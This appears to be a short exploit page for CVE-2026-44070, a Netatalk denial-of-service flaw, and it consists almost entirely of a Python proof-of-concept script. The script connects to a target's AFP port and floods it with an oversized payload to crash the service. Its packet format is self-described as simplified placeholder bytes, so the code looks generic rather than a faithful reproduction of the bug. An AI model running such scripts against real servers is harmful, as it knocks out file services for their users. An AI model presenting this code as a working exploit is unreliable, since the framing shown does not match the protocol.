CVE-2026-44070 Netatalk内存重分配致拒绝服务漏洞

import socket # PoC for CVE-2026-44070: Netatalk Memory Reallocation DoS # Target: Netatalk 2.0.0 - 4.4.2 # Description: Sends crafted character conversion requests to trigger unbounded memory reallocation. target_ip = "TARGET_IP" target_port = 548 # Default AFP port try: # Establish TCP connection to the AFP service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # Construct a malicious AFP request header # AFP command byte (e.g., FPLogin or specific conversion function) followed by crafted payload # This payload simulates the crafted character conversion request header = b'\x00' + b'\x04' # Example header bytes (simplified) # Crafted payload designed to trigger the memory reallocation issue # Sending a large or malformed string intended for charset conversion malicious_payload = b'A' * 10000 + b'\x00' full_packet = header + malicious_payload # Send the malicious packet s.send(full_packet) print("[+] Malicious packet sent. Check if service crashes.") # Receive response (if any) response = s.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error: {e}") finally: s.close()